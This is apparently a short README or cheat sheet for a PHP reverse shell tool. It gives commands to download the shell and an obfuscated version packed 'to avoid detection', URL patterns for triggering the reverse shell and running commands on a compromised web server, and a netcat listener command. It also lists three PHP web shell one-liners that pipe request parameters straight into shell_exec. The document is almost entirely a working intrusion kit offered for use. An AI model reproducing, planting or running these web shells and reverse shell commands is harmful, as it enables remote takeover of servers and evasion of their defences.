A smarter shell script
Grap the latest release
wget -O srs.php https://github.com/GramThanos/php-smart-reverse-shell/releases/download/v2.0-smart/srs.phpGet the packed version to avoid detection (packed using Split&Encrypt)
wget -O srs.php https://github.com/GramThanos/php-smart-reverse-shell/releases/download/v2.0-smart/srs.packed.php- Call reverse shell from console
php ./srs.php 127.0.0.1 1234 - Call reverse shell from url
https://example.com/srs.php?ip=127.0.0.1&port=1234 - Run command from url
https://example.com/srs.php?c=ls%20-la - Run command from url
https://example.com/srs.php?r=ls%20-la(redirect errors to stdout)
Wait for a reverse shell connection
nc -l 127.0.0.1 4444Executing shell code with PHP
<?php echo shell_exec($_GET['command']);?>or
<?=isset($_GET['c'])?shell_exec($_GET['c']):'';?>or
<?php if(isset($_GET['c'])){header('Content-Type: text/plain');die(shell_exec($_REQUEST['c'].'2>&1'));}?>Download Smart Reverse Shell and open shell connection
wget -O srs.php https://raw.githubusercontent.com/GramThanos/php-smart-reverse-shell/master/srs.php
php ./srs.php 127.0.0.1 1234